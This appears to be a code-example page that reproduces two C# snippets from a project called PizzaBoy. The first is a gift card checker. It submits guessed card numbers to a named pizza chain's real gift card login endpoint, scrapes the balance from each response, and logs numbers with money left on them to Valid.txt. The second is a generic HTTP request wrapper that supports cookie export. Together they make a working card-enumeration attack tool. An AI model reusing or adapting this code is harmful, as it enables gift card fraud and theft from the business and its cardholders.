예제 #1
0
파일: Program.cs 프로젝트: 5l1v3r1/PizzaBoy
        static bool isValid(long code)
        {
            webTask wt = new webTask();

            wt.URL      = "http://giftcards.patxispizza.com/loginAction.do";
            wt.POSTData = $"org.apache.struts.taglib.html.TOKEN=02c13912876a94f096e711f47b558179&requiresPIN=false&redirectUrl=http%3A%2F%2Fwww3.myicard.net&iCardNumber={code}&styleDir=650481%2Fstyle1&language=en_US";
            Object response = WebRequest_Wrapper.Request(wt);

            try
            {
                String balance = Regex.Match((String)response, @"(\d{1,3}\.\d{1,2})").Groups[0].ToString();

                if (balance != null && balance != "0.0")
                {
                    File.AppendAllText(Environment.CurrentDirectory + @"\Valid.txt", $"{code}|${balance}\r\n");

                    return(true);
                }
            }
            catch (Exception ex)
            {
                return(false);
            }
            //

            return(false);
        }
예제 #2
0
        public static object Request(webTask task)
        {
            String Host     = task.URL;
            String Referer  = task.URL;
            String POSTData = null;

            if (!task.retainCookies)
            {
                Cookies = new CookieContainer();
            }

            if (task.POSTData == null)
            {
                _Method = "GET";
            }
            else
            {
                _Method  = "POST";
                POSTData = (String)task.POSTData;
            }

            try
            {
                HttpWebRequest WebR = (HttpWebRequest)WebRequest.Create(Host);

                WebR.Method            = _Method;
                WebR.CookieContainer   = Cookies;
                WebR.AllowAutoRedirect = _AllowAutoRedirect;
                WebR.KeepAlive         = _KeepAlive;
                WebR.UserAgent         = _UserAgent;
                WebR.ContentType       = "application/x-www-form-urlencoded";
                WebR.Referer           = Referer;

                if ((_Method == "POST"))
                {
                    byte[] _PostData = null;
                    _PostData          = System.Text.Encoding.Default.GetBytes(POSTData);
                    WebR.ContentLength = _PostData.Length;

                    System.IO.Stream StreamWriter = WebR.GetRequestStream();
                    StreamWriter.Write(_PostData, 0, POSTData.Length);
                    StreamWriter.Dispose();
                }

                HttpWebResponse WebResponse;
                string          PageHTML;

                try
                {
                    WebResponse = (HttpWebResponse)WebR.GetResponse();
                    Cookies.Add(WebResponse.Cookies);
                    System.IO.StreamReader StreamReader = new System.IO.StreamReader(WebResponse.GetResponseStream());
                    PageHTML = StreamReader.ReadToEnd();
                }
                catch (WebException e)
                {
                    WebResponse response = e.Response;
                    using (System.IO.StreamReader reader = new System.IO.StreamReader(response.GetResponseStream()))
                    {
                        PageHTML = reader.ReadToEnd();
                    }
                }

                String pageTitle = System.Text.RegularExpressions.Regex.Match(PageHTML, @"<title>(.*<)/title>").Groups[1].ToString();

                if (task.exportCookies)
                {
                    try
                    {
                        CookieCollection toExport = Cookies.GetCookies(new Uri(task.URL));
                        foreach (Cookie toOutput in toExport)
                        {
                            System.IO.File.AppendAllText(System.IO.Directory.GetCurrentDirectory() + @"\" + pageTitle + @" - Cookies.txt", toOutput.ToString() + "\r\n");
                        }
                    }catch (Exception ex)
                    {
                        System.IO.File.WriteAllText(System.IO.Directory.GetCurrentDirectory() + @"\" + pageTitle + @" - Cookies.txt", ex.Message);
                    }
                }

                if (task.outputSource)
                {
                    if (PageHTML.Contains("<title> myicard.net Select</title>"))
                    {
                        return(PageHTML);
                    }
                    else
                    {
                        return(null);
                    }
                }
                return(null);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("WebRequest exited with error: {0}", ex.Message));
                return(null);
            }
        }